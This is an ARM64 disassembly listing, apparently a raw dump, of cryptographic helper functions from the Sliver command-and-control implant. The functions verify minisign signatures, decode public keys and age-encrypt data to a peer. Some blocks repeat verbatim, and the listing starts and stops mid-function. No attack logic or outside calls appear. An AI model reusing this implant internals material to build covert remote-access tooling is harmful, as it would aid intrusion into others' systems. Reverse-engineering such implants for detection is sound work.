003dc414ldr x0, [sp+72]
003dc418ldr x1, [sp+80]
003dc41cldr x2, [sp+88]
003dc420ldur x29, [sp-8]
003dc424ldr x30, [sp], 240
003dc428ret x30
003dc42c
003dc42cloc_3dc42c:
003dc42cldr x5, [sp+112]
003dc430ldr x6, [sp+120]
003dc434ldr x7, [sp+128]
003dc438str x5, [sp+72]
003dc43cstr x6, [sp+80]
003dc440str x7, [sp+88]
003dc444stp xzr, xzr, [sp+56]
003dc448ldr x0, [sp+72]
003dc44cldr x1, [sp+80]
003dc450ldr x2, [sp+88]
003dc454mov x3, xzr
003dc458mov x4, xzr
003dc45cldur x29, [sp-8]
003dc460ldr x30, [sp], 240
003dc464ret x30
003dc468
003dc468loc_3dc468:
003dc468str xzr, [sp+72]
003dc46cstp xzr, xzr, [sp+80]
003dc470adrp x27, 0x645000
003dc474ldr x3, [x27+2752]
003dc478adrp x27, 0x645000
003dc47cldr x4, [x27+2760]
003dc480str x3, [sp+56]
003dc484str x4, [sp+64]
003dc488ldr x0, [sp+72]
003dc48cldr x1, [sp+80]
003dc490ldr x2, [sp+88]
003dc494ldur x29, [sp-8]
003dc498ldr x30, [sp], 240
003dc49cret x30
003dc4a0
003dc4a0loc_3dc4a0:
003dc4a0stp x0, x1, [sp+8]
003dc4a4stp x2, x3, [sp+24]
003dc4a8stp x4, x5, [sp+40]
003dc4acstp x6, x7, [sp+56]
003dc4b0mov x3, x30
003dc4b4bl runtime.morestack_noctxt.abi0
003dc4b8ldp x0, x1, [sp+8]
003dc4bcldp x2, x3, [sp+24]
003dc4c0ldp x4, x5, [sp+40]
003dc4c4ldp x6, x7, [sp+56]
003dc4c8b 0x3dc2f0
003dc4ccudf 0
003dc2f0
003dc2f0github.com/bishopfox/sliver/implant/sliver/cryptography.AgeEncryptToPeer: ; void github.com/bishopfox/sliver/implant/sliver/cryptography.AgeEncryptToPeer(struct []uint8 recipientPublicKey, struct string recipientPublicKeySig, struct []uint8 plaintext)
003dc2f0ldr x16, [x28+16]
003dc2f4sub x17, sp, 112
003dc2f8subs xzr, x17, x16
003dc2fcb.ls 0x3dc4a0
003dc300str x30, [sp-240]!
003dc304stur x29, [sp-8]
003dc308sub x29, sp, 8
003dc30cstr x0, [sp+248]
003dc310str x1, [sp+256]
003dc314str x2, [sp+264]
003dc318str x3, [sp+272]
003dc31cstr x4, [sp+280]
003dc320str x5, [sp+288]
003dc324str x6, [sp+296]
003dc328str x7, [sp+304]
003dc32cstr xzr, [sp+72]
003dc330stp xzr, xzr, [sp+80]
003dc334stp xzr, xzr, [sp+56]
003dc338ldr x0, [sp+248]
003dc33cldr x3, [sp+272]
003dc340ldr x1, [sp+256]
003dc344ldr x4, [sp+280]
003dc348ldr x2, [sp+264]
003dc34cbl github.com/bishopfox/sliver/implant/sliver/cryptography.MinisignVerify
003dc350strb w0, [sp+55]
003dc354tbnz w0, 0, 0x3dc35c
003dc358b 0x3dc468
003dc35c
003dc35cloc_3dc35c:
003dc35cstr xzr, [sp+208]
003dc360stp xzr, xzr, [sp+216]
003dc364stp xzr, xzr, [sp+192]
003dc368ldr x1, [sp+248]
003dc36cldr x2, [sp+256]
003dc370mov x0, xzr
003dc374bl runtime.slicebytetostring
003dc378str x0, [sp+176]
003dc37cstr x1, [sp+184]
003dc380ldr x2, [sp+288]
003dc384ldr x3, [sp+296]
003dc388ldr x4, [sp+304]
003dc38cbl github.com/bishopfox/sliver/implant/sliver/cryptography.AgeEncrypt
003dc390str x0, [sp+208]
003dc394str x1, [sp+216]
003dc398str x2, [sp+224]
003dc39cstr x3, [sp+192]
003dc3a0str x4, [sp+200]
003dc3a4ldr x3, [sp+208]
003dc3a8ldr x4, [sp+216]
003dc3acldr x5, [sp+224]
003dc3b0str x3, [sp+152]
003dc3b4str x4, [sp+160]
003dc3b8str x5, [sp+168]
003dc3bcldr x3, [sp+192]
003dc3c0ldr x4, [sp+200]
003dc3c4str x3, [sp+136]
003dc3c8str x4, [sp+144]
003dc3ccldr x3, [sp+152]
003dc3d0ldr x4, [sp+160]
003dc3d4ldr x5, [sp+168]
003dc3d8str x3, [sp+112]
003dc3dcstr x4, [sp+120]
003dc3e0str x5, [sp+128]
003dc3e4ldr x3, [sp+144]
003dc3e8ldr x4, [sp+136]
003dc3ecstr x4, [sp+96]
003dc3f0str x3, [sp+104]
003dc3f4cbnz x4, 0x3dc3fc
003dc3f8b 0x3dc42c
003dc3fc
003dc3fcloc_3dc3fc:
003dc3fcstr xzr, [sp+72]
003dc400stp xzr, xzr, [sp+80]
003dc404ldr x3, [sp+96]
003dc408ldr x4, [sp+104]
003dc40cstr x3, [sp+56]
003dc410str x4, [sp+64]
003dc414ldr x0, [sp+72]
003dc418ldr x1, [sp+80]
003dc41cldr x2, [sp+88]
003dc420ldur x29, [sp-8]
003dc424ldr x30, [sp], 240
003dc428ret x30
003dc42c
003dc42cloc_3dc42c:
003dc42cldr x5, [sp+112]
003dc430ldr x6, [sp+120]
003dc434ldr x7, [sp+128]
003dc438str x5, [sp+72]
003dc43cstr x6, [sp+80]
003dc440str x7, [sp+88]
003dc444stp xzr, xzr, [sp+56]
003dc448ldr x0, [sp+72]
003dc44cldr x1, [sp+80]
003dc450ldr x2, [sp+88]
003dc454mov x3, xzr
003dc458mov x4, xzr
003dc45cldur x29, [sp-8]
003dc460ldr x30, [sp], 240
003dc464ret x30
003dc468
003dc468loc_3dc468:
003dc468str xzr, [sp+72]
003dc46cstp xzr, xzr, [sp+80]
003dc470adrp x27, 0x645000
003dc474ldr x3, [x27+2752]
003dc478adrp x27, 0x645000
003dc47cldr x4, [x27+2760]
003dc480str x3, [sp+56]
003dc484str x4, [sp+64]
003dc488ldr x0, [sp+72]
003dc48cldr x1, [sp+80]
003dc490ldr x2, [sp+88]
003dc494ldur x29, [sp-8]
003dc498ldr x30, [sp], 240
003dc49cret x30
003dc4a0
003dc4a0loc_3dc4a0:
003dc4a0stp x0, x1, [sp+8]
003dc4a4stp x2, x3, [sp+24]
003dc4a8stp x4, x5, [sp+40]
003dc4acstp x6, x7, [sp+56]
003dc4b0mov x3, x30
003dc4b4bl runtime.morestack_noctxt.abi0
003dc4b8ldp x0, x1, [sp+8]
003dc4bcldp x2, x3, [sp+24]
003dc4c0ldp x4, x5, [sp+40]
003dc4c4ldp x6, x7, [sp+56]
003dc4c8b 0x3dc2f0
003dc4ccudf 0
003dc2f0
003dc4d0
003dc4d0github.com/bishopfox/sliver/implant/sliver/cryptography.minisignPublicKey: ; void github.com/bishopfox/sliver/implant/sliver/cryptography.minisignPublicKey(struct string publicKeyStr)
003dc4d0ldr x16, [x28+16]
003dc4d4sub x17, sp, 320
003dc4d8subs xzr, x17, x16
003dc4dcb.ls 0x3dc910
003dc4e0sub x20, sp, 448
003dc4e4stp x29, x30, [x20-8]
003dc4e8add sp, x20, 0
003dc4ecsub x29, sp, 8
003dc4f0str x0, [sp+504]
003dc4f4str x1, [sp+512]
003dc4f8stp xzr, xzr, [sp+456]
003dc4fcstp xzr, xzr, [sp+472]
003dc500add x27, sp, 482
003dc504stp xzr, xzr, [x27]
003dc508stp xzr, xzr, [sp+136]
003dc50cadd x27, sp, 37
003dc510stp xzr, xzr, [x27]
003dc514add x27, sp, 53
003dc518stp xzr, xzr, [x27]
003dc51cadd x27, sp, 63
003dc520stp xzr, xzr, [x27]
003dc524str xzr, [sp+208]
003dc528stp xzr, xzr, [sp+216]
003dc52cstp xzr, xzr, [sp+192]
003dc530ldr x1, [sp+504]
003dc534ldr x2, [sp+512]
003dc538adrp x27, 0x645000
003dc53cldr x0, [x27+8]
003dc540bl encoding/base64.(*Encoding).DecodeString
003dc544str x0, [sp+208]
003dc548str x1, [sp+216]
003dc54cstr x2, [sp+224]
003dc550str x3, [sp+192]
003dc554str x4, [sp+200]
003dc558ldr x3, [sp+208]
003dc55cldr x4, [sp+216]
003dc560ldr x5, [sp+224]
003dc564str x3, [sp+248]
003dc568str x4, [sp+256]
003dc56cstr x5, [sp+264]
003dc570ldr x3, [sp+192]
003dc574ldr x4, [sp+200]
003dc578str x3, [sp+232]
003dc57cstr x4, [sp+240]
003dc580ldr x3, [sp+248]
003dc584ldr x4, [sp+256]
003dc588ldr x5, [sp+264]
003dc58cstr x3, [sp+168]
003dc590str x4, [sp+176]
003dc594str x5, [sp+184]
003dc598ldr x3, [sp+240]
003dc59cldr x4, [sp+232]
003dc5a0str x4, [sp+152]
003dc5a4str x3, [sp+160]
003dc5a8subs xzr, x4, 0
003dc5accset x3, ne
003dc5b0strb w3, [sp+79]
003dc5b4cbnz x4, 0x3dc5bc
003dc5b8b 0x3dc5c0
003dc5bc
003dc5bcloc_3dc5bc:
003dc5bcb 0x3dc5d8
003dc5c0
003dc5c0loc_3dc5c0:
003dc5c0ldr x3, [sp+176]
003dc5c4str x3, [sp+128]
003dc5c8subs xzr, x3, 42
003dc5cccset x3, ne
003dc5d0strb w3, [sp+79]
003dc5d4b 0x3dc5d8
003dc5d8
003dc5d8loc_3dc5d8:
003dc5d8ldrb w3, [sp+79]
003dc5dctbnz w3, 0, 0x3dc5e4
003dc5e0b 0x3dc640
003dc5e4
003dc5e4loc_3dc5e4:
003dc5e4adrp x0, 0x2de000
003dc5e8add x0, x0, 1657
003dc5ecmovz x1, 26
003dc5f0bl errors.New
003dc5f4str x0, [sp+192]
003dc5f8str x1, [sp+200]
003dc5fcadd x27, sp, 37
003dc600ldp x2, x3, [x27]
003dc604add x27, sp, 53
003dc608ldp x4, x5, [x27]
003dc60cstp x2, x3, [sp+456]
003dc610stp x4, x5, [sp+472]
003dc614add x27, sp, 63
003dc618ldp x2, x3, [x27]
003dc61cadd x27, sp, 482
003dc620stp x2, x3, [x27]
003dc624ldr x0, [sp+192]
003dc628ldr x1, [sp+200]
003dc62cstr x0, [sp+136]
003dc630str x1, [sp+144]
003dc634ldp x29, x30, [sp-8]
003dc638add sp, sp, 448
003dc63cret x30
003dc640
003dc640loc_3dc640:
003dc640add x3, sp, 37
003dc644ldrsb x27, [x3]
003dc648b 0x3dc64c
003dc64c
003dc64cloc_3dc64c:
003dc64cstr x3, [sp+208]
003dc650orr x1, xzr, 2
003dc654str x1, [sp+216]
003dc658str x1, [sp+224]
003dc65cldr x2, [sp+184]
003dc660ldr x3, [sp+168]
003dc664subs xzr, x2, 2
003dc668b.hs 0x3dc670
003dc66cb 0x3dc908
003dc670
003dc670loc_3dc670:
003dc670b 0x3dc674
003dc674
003dc674loc_3dc674:
003dc674str x3, [sp+416]
003dc678str x1, [sp+424]
003dc67cstr x2, [sp+432]
003dc680ldr x3, [sp+208]
003dc684ldr x4, [sp+216]
003dc688ldr x5, [sp+224]
003dc68cstr x3, [sp+392]
003dc690str x4, [sp+400]
003dc694str x5, [sp+408]
003dc698ldr x3, [sp+424]
003dc69cldr x4, [sp+416]
003dc6a0ldr x5, [sp+432]
003dc6a4str x4, [sp+368]
003dc6a8str x3, [sp+376]
003dc6acstr x5, [sp+384]
003dc6b0ldr x4, [sp+400]
003dc6b4str x4, [sp+120]
003dc6b8subs xzr, x4, x3
003dc6bcb.gt 0x3dc6c4
003dc6c0b 0x3dc6cc
003dc6c4
003dc6c4loc_3dc6c4:
003dc6c4str x3, [sp+120]
003dc6c8b 0x3dc6d0
003dc6cc
003dc6ccloc_3dc6cc:
003dc6ccb 0x3dc6d0
003dc6d0
003dc6d0loc_3dc6d0:
003dc6d0ldr x3, [sp+368]
003dc6d4ldr x4, [sp+392]
003dc6d8subs xzr, x3, x4
003dc6dcb.ne 0x3dc6e4
003dc6e0b 0x3dc700
003dc6e4
003dc6e4loc_3dc6e4:
003dc6e4ldr x3, [sp+120]
003dc6e8str x3, [sp+112]
003dc6ecldr x2, [sp+112]
003dc6f0ldr x1, [sp+368]
003dc6f4ldr x0, [sp+392]
003dc6f8bl runtime.memmove
003dc6fcb 0x3dc704
003dc700
003dc700loc_3dc700:
003dc700b 0x3dc704
003dc704
003dc704loc_3dc704:
003dc704add x3, sp, 39
003dc708ldrsb x27, [x3]
003dc70cb 0x3dc710
003dc710
003dc710loc_3dc710:
003dc710str x3, [sp+416]
003dc714orr x3, xzr, 8
003dc718str x3, [sp+424]
003dc71cstr x3, [sp+432]
003dc720ldr x2, [sp+184]
003dc724ldr x4, [sp+168]
003dc728subs xzr, x2, 10
003dc72cb.hs 0x3dc734
003dc730b 0x3dc900
003dc734
003dc734loc_3dc734:
003dc734b 0x3dc738
003dc738
003dc738loc_3dc738:
003dc738sub x5, x2, 2
003dc73csub x6, xzr, x5
003dc740sbfm x6, x6, 63, 63
003dc744and x6, x6, 2
003dc748add x4, x4, x6
003dc74cstr x4, [sp+208]
003dc750str x3, [sp+216]
003dc754str x5, [sp+224]
003dc758ldr x3, [sp+416]
003dc75cldr x4, [sp+424]
003dc760ldr x5, [sp+432]
003dc764str x3, [sp+344]
003dc768str x4, [sp+352]
003dc76cstr x5, [sp+360]
003dc770ldr x3, [sp+216]
003dc774ldr x4, [sp+208]
003dc778ldr x5, [sp+224]
003dc77cstr x4, [sp+320]
003dc780str x3, [sp+328]
003dc784str x5, [sp+336]
003dc788ldr x4, [sp+352]
003dc78cstr x4, [sp+104]
003dc790subs xzr, x4, x3
003dc794b.gt 0x3dc79c
003dc798b 0x3dc7a4
003dc79c
003dc79cloc_3dc79c:
003dc79cstr x3, [sp+104]
003dc7a0b 0x3dc7a8
003dc7a4
003dc7a4loc_3dc7a4:
003dc7a4b 0x3dc7a8
003dc7a8
003dc7a8loc_3dc7a8:
003dc7a8ldr x3, [sp+320]
003dc7acldr x4, [sp+344]
003dc7b0subs xzr, x3, x4
003dc7b4b.ne 0x3dc7bc
003dc7b8b 0x3dc7d8
003dc7bc
003dc7bcloc_3dc7bc:
003dc7bcldr x3, [sp+104]
003dc7c0str x3, [sp+96]
003dc7c4ldr x2, [sp+96]
003dc7c8ldr x1, [sp+320]
003dc7ccldr x0, [sp+344]
003dc7d0bl runtime.memmove
003dc7d4b 0x3dc7dc
003dc7d8
003dc7d8loc_3dc7d8:
003dc7d8b 0x3dc7dc
003dc7dc
003dc7dcloc_3dc7dc:
003dc7dcadd x3, sp, 47
003dc7e0ldrsb x27, [x3]
003dc7e4b 0x3dc7e8
003dc7e8
003dc7e8loc_3dc7e8:
003dc7e8str x3, [sp+208]
003dc7ecorr x3, xzr, 32
003dc7f0str x3, [sp+216]
003dc7f4str x3, [sp+224]
003dc7f8ldr x2, [sp+184]
003dc7fcldr x4, [sp+168]
003dc800subs xzr, x2, 42
003dc804b.hs 0x3dc80c
003dc808b 0x3dc8f8
003dc80c
003dc80cloc_3dc80c:
003dc80cb 0x3dc810
003dc810
003dc810loc_3dc810:
003dc810sub x5, x2, 10
003dc814sub x6, xzr, x5
003dc818sbfm x6, x6, 63, 63
003dc81cmovz x7, 10
003dc820and x6, x6, x7
003dc824add x4, x4, x6
003dc828str x4, [sp+416]
003dc82cstr x3, [sp+424]
003dc830str x5, [sp+432]
003dc834ldr x3, [sp+208]
003dc838ldr x4, [sp+216]
003dc83cldr x5, [sp+224]
003dc840str x3, [sp+296]
003dc844str x4, [sp+304]
003dc848str x5, [sp+312]
003dc84cldr x3, [sp+424]
003dc850ldr x4, [sp+416]
003dc854ldr x5, [sp+432]
003dc858str x4, [sp+272]
003dc85cstr x3, [sp+280]
003dc860str x5, [sp+288]
003dc864ldr x4, [sp+304]
003dc868str x4, [sp+88]
003dc86csubs xzr, x4, x3
003dc870b.gt 0x3dc878
003dc874b 0x3dc880
003dc878
003dc878loc_3dc878:
003dc878str x3, [sp+88]
003dc87cb 0x3dc884
003dc880
003dc880loc_3dc880:
003dc880b 0x3dc884
003dc884
003dc884loc_3dc884:
003dc884ldr x3, [sp+272]
003dc888ldr x4, [sp+296]
003dc88csubs xzr, x3, x4
003dc890b.ne 0x3dc898
003dc894b 0x3dc8b4
003dc898
003dc898loc_3dc898:
003dc898ldr x3, [sp+88]
003dc89cstr x3, [sp+80]
003dc8a0ldr x2, [sp+80]
003dc8a4ldr x1, [sp+272]
003dc8a8ldr x0, [sp+296]
003dc8acbl runtime.memmove
003dc8b0b 0x3dc8b8
003dc8b4
003dc8b4loc_3dc8b4:
003dc8b4b 0x3dc8b8
003dc8b8
003dc8b8loc_3dc8b8:
003dc8b8add x27, sp, 37
003dc8bcldp x2, x3, [x27]
003dc8c0add x27, sp, 53
003dc8c4ldp x4, x5, [x27]
003dc8c8stp x2, x3, [sp+456]
003dc8ccstp x4, x5, [sp+472]
003dc8d0add x27, sp, 63
003dc8d4ldp x2, x3, [x27]
003dc8d8add x27, sp, 482
003dc8dcstp x2, x3, [x27]
003dc8e0stp xzr, xzr, [sp+136]
003dc8e4mov x0, xzr
003dc8e8mov x1, xzr
003dc8ecldp x29, x30, [sp-8]
003dc8f0add sp, sp, 448
003dc8f4ret x30
003dc8f8
003dc8f8loc_3dc8f8:
003dc8f8movz x1, 42
003dc8fcbl runtime.panicSliceAcap
003dc900
003dc900loc_3dc900:
003dc900movz x1, 10
003dc904bl runtime.panicSliceAcap
003dc908
003dc908loc_3dc908:
003dc908bl runtime.panicSliceAcap
003dc90chint
003dc910
003dc910loc_3dc910:
003dc910stp x0, x1, [sp+56]
003dc914mov x3, x30
003dc918bl runtime.morestack_noctxt.abi0
003dc91cldp x0, x1, [sp+56]
003dc920b 0x3dc4d0
003dc924udf 0
003dc928udf 0
003dc92cudf 0
003dc4d0
003dc4d0github.com/bishopfox/sliver/implant/sliver/cryptography.minisignPublicKey: ; void github.com/bishopfox/sliver/implant/sliver/cryptography.minisignPublicKey(struct string publicKeyStr)
003dc4d0ldr x16, [x28+16]
003dc4d4sub x17, sp, 320
003dc4d8subs xzr, x17, x16
003dc4dcb.ls 0x3dc910
003dc4e0sub x20, sp, 448
003dc4e4stp x29, x30, [x20-8]
003dc4e8add sp, x20, 0
003dc4ecsub x29, sp, 8
003dc4f0str x0, [sp+504]
003dc4f4str x1, [sp+512]
003dc4f8stp xzr, xzr, [sp+456]
003dc4fcstp xzr, xzr, [sp+472]
003dc500add x27, sp, 482
003dc504stp xzr, xzr, [x27]
003dc508stp xzr, xzr, [sp+136]
003dc50cadd x27, sp, 37
003dc510stp xzr, xzr, [x27]
003dc514add x27, sp, 53
003dc518stp xzr, xzr, [x27]
003dc51cadd x27, sp, 63
003dc520stp xzr, xzr, [x27]
003dc524str xzr, [sp+208]
003dc528stp xzr, xzr, [sp+216]
003dc52cstp xzr, xzr, [sp+192]
003dc530ldr x1, [sp+504]
003dc534ldr x2, [sp+512]
003dc538adrp x27, 0x645000
003dc53cldr x0, [x27+8]
003dc540bl encoding/base64.(*Encoding).DecodeString
003dc544str x0, [sp+208]
003dc548str x1, [sp+216]
003dc54cstr x2, [sp+224]
003dc550str x3, [sp+192]
003dc554str x4, [sp+200]
003dc558ldr x3, [sp+208]
003dc55cldr x4, [sp+216]
003dc560ldr x5, [sp+224]
003dc564str x3, [sp+248]
003dc568str x4, [sp+256]
003dc56cstr x5, [sp+264]
003dc570ldr x3, [sp+192]
003dc574ldr x4, [sp+200]
003dc578str x3, [sp+232]
003dc57cstr x4, [sp+240]
003dc580ldr x3, [sp+248]
003dc584ldr x4, [sp+256]
003dc588ldr x5, [sp+264]
003dc58cstr x3, [sp+168]
003dc590str x4, [sp+176]
003dc594str x5, [sp+184]
003dc598ldr x3, [sp+240]
003dc59cldr x4, [sp+232]
003dc5a0str x4, [sp+152]
003dc5a4str x3, [sp+160]
003dc5a8subs xzr, x4, 0
003dc5accset x3, ne
003dc5b0strb w3, [sp+79]
003dc5b4cbnz x4, 0x3dc5bc
003dc5b8b 0x3dc5c0
003dc5bc
003dc5bcloc_3dc5bc:
003dc5bcb 0x3dc5d8
003dc5c0
003dc5c0loc_3dc5c0:
003dc5c0ldr x3, [sp+176]
003dc5c4str x3, [sp+128]
003dc5c8subs xzr, x3, 42
003dc5cccset x3, ne
003dc5d0strb w3, [sp+79]
003dc5d4b 0x3dc5d8
003dc5d8
003dc5d8loc_3dc5d8:
003dc5d8ldrb w3, [sp+79]
003dc5dctbnz w3, 0, 0x3dc5e4
003dc5e0b 0x3dc640
003dc5e4
003dc5e4loc_3dc5e4:
003dc5e4adrp x0, 0x2de000
003dc5e8add x0, x0, 1657
003dc5ecmovz x1, 26
003dc5f0bl errors.New
003dc5f4str x0, [sp+192]
003dc5f8str x1, [sp+200]
003dc5fcadd x27, sp, 37
003dc600ldp x2, x3, [x27]
003dc604add x27, sp, 53
003dc608ldp x4, x5, [x27]
003dc60cstp x2, x3, [sp+456]
003dc610stp x4, x5, [sp+472]
003dc614add x27, sp, 63
003dc618ldp x2, x3, [x27]
003dc61cadd x27, sp, 482
003dc620stp x2, x3, [x27]
003dc624ldr x0, [sp+192]
003dc628ldr x1, [sp+200]
003dc62cstr x0, [sp+136]
003dc630str x1, [sp+144]
003dc634ldp x29, x30, [sp-8]
003dc638add sp, sp, 448
003dc63cret x30
003dc640
003dc640loc_3dc640:
003dc640add x3, sp, 37
003dc644ldrsb x27, [x3]
003dc648b 0x3dc64c
003dc64c
003dc64cloc_3dc64c:
003dc64cstr x3, [sp+208]
003dc650orr x1, xzr, 2
003dc654str x1, [sp+216]
003dc658str x1, [sp+224]
003dc65cldr x2, [sp+184]
003dc660ldr x3, [sp+168]
003dc664subs xzr, x2, 2
003dc668b.hs 0x3dc670
003dc66cb 0x3dc908
003dc670
003dc670loc_3dc670:
003dc670b 0x3dc674
003dc674
003dc674loc_3dc674:
003dc674str x3, [sp+416]
003dc678str x1, [sp+424]
003dc67cstr x2, [sp+432]
003dc680ldr x3, [sp+208]
003dc684ldr x4, [sp+216]
003dc688ldr x5, [sp+224]
003dc68cstr x3, [sp+392]
003dc690str x4, [sp+400]
003dc694str x5, [sp+408]
003dc698ldr x3, [sp+424]
003dc69cldr x4, [sp+416]
003dc6a0ldr x5, [sp+432]
003dc6a4str x4, [sp+368]
003dc6a8str x3, [sp+376]
003dc6acstr x5, [sp+384]
003dc6b0ldr x4, [sp+400]
003dc6b4str x4, [sp+120]
003dc6b8subs xzr, x4, x3
003dc6bcb.gt 0x3dc6c4
003dc6c0b 0x3dc6cc
003dc6c4
003dc6c4loc_3dc6c4:
003dc6c4str x3, [sp+120]
003dc6c8b 0x3dc6d0
003dc6cc
003dc6ccloc_3dc6cc:
003dc6ccb 0x3dc6d0
003dc6d0
003dc6d0loc_3dc6d0:
003dc6d0ldr x3, [sp+368]
003dc6d4ldr x4, [sp+392]
003dc6d8subs xzr, x3, x4
003dc6dcb.ne 0x3dc6e4
003dc6e0b 0x3dc700
003dc6e4
003dc6e4loc_3dc6e4:
003dc6e4ldr x3, [sp+120]
003dc6e8str x3, [sp+112]
003dc6ecldr x2, [sp+112]
003dc6f0ldr x1, [sp+368]
003dc6f4ldr x0, [sp+392]
003dc6f8bl runtime.memmove
003dc6fcb 0x3dc704
003dc700
003dc700loc_3dc700:
003dc700b 0x3dc704
003dc704
003dc704loc_3dc704:
003dc704add x3, sp, 39
003dc708ldrsb x27, [x3]
003dc70cb 0x3dc710
003dc710
003dc710loc_3dc710:
003dc710str x3, [sp+416]
003dc714orr x3, xzr, 8
003dc718str x3, [sp+424]
003dc71cstr x3, [sp+432]
003dc720ldr x2, [sp+184]
003dc724ldr x4, [sp+168]
003dc728subs xzr, x2, 10
003dc72cb.hs 0x3dc734
003dc730b 0x3dc900
003dc734
003dc734loc_3dc734:
003dc734b 0x3dc738
003dc738
003dc738loc_3dc738:
003dc738sub x5, x2, 2
003dc73csub x6, xzr, x5
003dc740sbfm x6, x6, 63, 63
003dc744and x6, x6, 2
003dc748add x4, x4, x6
003dc74cstr x4, [sp+208]
003dc750str x3, [sp+216]
003dc754str x5, [sp+224]
003dc758ldr x3, [sp+416]
003dc75cldr x4, [sp+424]
003dc760ldr x5, [sp+432]
003dc764str x3, [sp+344]
003dc768str x4, [sp+352]
003dc76cstr x5, [sp+360]
003dc770ldr x3, [sp+216]
003dc774ldr x4, [sp+208]
003dc778ldr x5, [sp+224]
003dc77cstr x4, [sp+320]
003dc780str x3, [sp+328]
003dc784str x5, [sp+336]
003dc788ldr x4, [sp+352]
003dc78cstr x4, [sp+104]
003dc790subs xzr, x4, x3
003dc794b.gt 0x3dc79c
003dc798b 0x3dc7a4
003dc79c
003dc79cloc_3dc79c:
003dc79cstr x3, [sp+104]
003dc7a0b 0x3dc7a8
003dc7a4
003dc7a4loc_3dc7a4:
003dc7a4b 0x3dc7a8
003dc7a8
003dc7a8loc_3dc7a8:
003dc7a8ldr x3, [sp+320]
003dc7acldr x4, [sp+344]
003dc7b0subs xzr, x3, x4
003dc7b4b.ne 0x3dc7bc
003dc7b8b 0x3dc7d8
003dc7bc
003dc7bcloc_3dc7bc:
003dc7bcldr x3, [sp+104]
003dc7c0str x3, [sp+96]
003dc7c4ldr x2, [sp+96]
003dc7c8ldr x1, [sp+320]
003dc7ccldr x0, [sp+344]
003dc7d0bl runtime.memmove
003dc7d4b 0x3dc7dc
003dc7d8
003dc7d8loc_3dc7d8:
003dc7d8b 0x3dc7dc
003dc7dc
003dc7dcloc_3dc7dc:
003dc7dcadd x3, sp, 47
003dc7e0ldrsb x27, [x3]
003dc7e4b 0x3dc7e8
003dc7e8
003dc7e8loc_3dc7e8:
003dc7e8str x3, [sp+208]
003dc7ecorr x3, xzr, 32
003dc7f0str x3, [sp+216]
003dc7f4str x3, [sp+224]
003dc7f8ldr x2, [sp+184]
003dc7fcldr x4, [sp+168]
003dc800subs xzr, x2, 42
003dc804b.hs 0x3dc80c
003dc808b 0x3dc8f8
003dc80c
003dc80cloc_3dc80c:
003dc80cb 0x3dc810
003dc810
003dc810loc_3dc810:
003dc810sub x5, x2, 10
003dc814sub x6, xzr, x5
003dc818sbfm x6, x6, 63, 63
003dc81cmovz x7, 10
003dc820and x6, x6, x7
003dc824add x4, x4, x6
003dc828str x4, [sp+416]
003dc82cstr x3, [sp+424]
003dc830str x5, [sp+432]
003dc834ldr x3, [sp+208]
003dc838ldr x4, [sp+216]
003dc83cldr x5, [sp+224]
003dc840str x3, [sp+296]
003dc844str x4, [sp+304]
003dc848str x5, [sp+312]
003dc84cldr x3, [sp+424]
003dc850ldr x4, [sp+416]
003dc854ldr x5, [sp+432]
003dc858str x4, [sp+272]
003dc85cstr x3, [sp+280]
003dc860str x5, [sp+288]
003dc864ldr x4, [sp+304]
003dc868str x4, [sp+88]
003dc86csubs xzr, x4, x3
003dc870b.gt 0x3dc878
003dc874b 0x3dc880
003dc878
003dc878loc_3dc878:
003dc878str x3, [sp+88]
003dc87cb 0x3dc884
003dc880
003dc880loc_3dc880:
003dc880b 0x3dc884
003dc884
003dc884loc_3dc884:
003dc884ldr x3, [sp+272]
003dc888ldr x4, [sp+296]
003dc88csubs xzr, x3, x4
003dc890b.ne 0x3dc898
003dc894b 0x3dc8b4
003dc898
003dc898loc_3dc898:
003dc898ldr x3, [sp+88]
003dc89cstr x3, [sp+80]
003dc8a0ldr x2, [sp+80]
003dc8a4ldr x1, [sp+272]
003dc8a8ldr x0, [sp+296]
003dc8acbl runtime.memmove
003dc8b0b 0x3dc8b8
003dc8b4
003dc8b4loc_3dc8b4:
003dc8b4b 0x3dc8b8
003dc8b8
003dc8b8loc_3dc8b8:
003dc8b8add x27, sp, 37
003dc8bcldp x2, x3, [x27]
003dc8c0add x27, sp, 53
003dc8c4ldp x4, x5, [x27]
003dc8c8stp x2, x3, [sp+456]
003dc8ccstp x4, x5, [sp+472]
003dc8d0add x27, sp, 63
003dc8d4ldp x2, x3, [x27]
003dc8d8add x27, sp, 482
003dc8dcstp x2, x3, [x27]
003dc8e0stp xzr, xzr, [sp+136]
003dc8e4mov x0, xzr
003dc8e8mov x1, xzr
003dc8ecldp x29, x30, [sp-8]
003dc8f0add sp, sp, 448
003dc8f4ret x30
003dc8f8
003dc8f8loc_3dc8f8:
003dc8f8movz x1, 42
003dc8fcbl runtime.panicSliceAcap
003dc900
003dc900loc_3dc900:
003dc900movz x1, 10
003dc904bl runtime.panicSliceAcap
003dc908
003dc908loc_3dc908:
003dc908bl runtime.panicSliceAcap
003dc90chint
003dc910
003dc910loc_3dc910:
003dc910stp x0, x1, [sp+56]
003dc914mov x3, x30
003dc918bl runtime.morestack_noctxt.abi0
003dc91cldp x0, x1, [sp+56]
003dc920b 0x3dc4d0
003dc924udf 0
003dc928udf 0
003dc92cudf 0
003dc4d0
003dc930
003dc930github.com/bishopfox/sliver/implant/sliver/cryptography.DecodeMinisignPublicKey: ; void github.com/bishopfox/sliver/implant/sliver/cryptography.DecodeMinisignPublicKey(struct string in)
003dc930ldr x16, [x28+16]
003dc934sub x17, sp, 176
003dc938subs xzr, x17, x16
003dc93cb.ls 0x3dcafc
003dc940sub x20, sp, 304
003dc944stp x29, x30, [x20-8]
003dc948add sp, x20, 0
003dc94csub x29, sp, 8
003dc950str x0, [sp+360]
003dc954str x1, [sp+368]
003dc958stp xzr, xzr, [sp+312]
003dc95cstp xzr, xzr, [sp+328]
003dc960add x27, sp, 338
003dc964stp xzr, xzr, [x27]
003dc968stp xzr, xzr, [sp+208]
003dc96cadd x27, sp, 74
003dc970stp xzr, xzr, [x27]
003dc974add x27, sp, 90
003dc978stp xzr, xzr, [x27]
003dc97cadd x27, sp, 100
003dc980stp xzr, xzr, [x27]
003dc984ldr x0, [sp+360]
003dc988ldr x1, [sp+368]
003dc98cadrp x2, 0x333000
003dc990add x2, x2, 232
003dc994orr x3, xzr, 1
003dc998orr x4, xzr, 2
003dc99cbl strings.SplitN
003dc9a0str x0, [sp+224]
003dc9a4str x1, [sp+232]
003dc9a8str x2, [sp+240]
003dc9acstr x1, [sp+200]
003dc9b0subs xzr, x1, 2
003dc9b4b.lt 0x3dc9bc
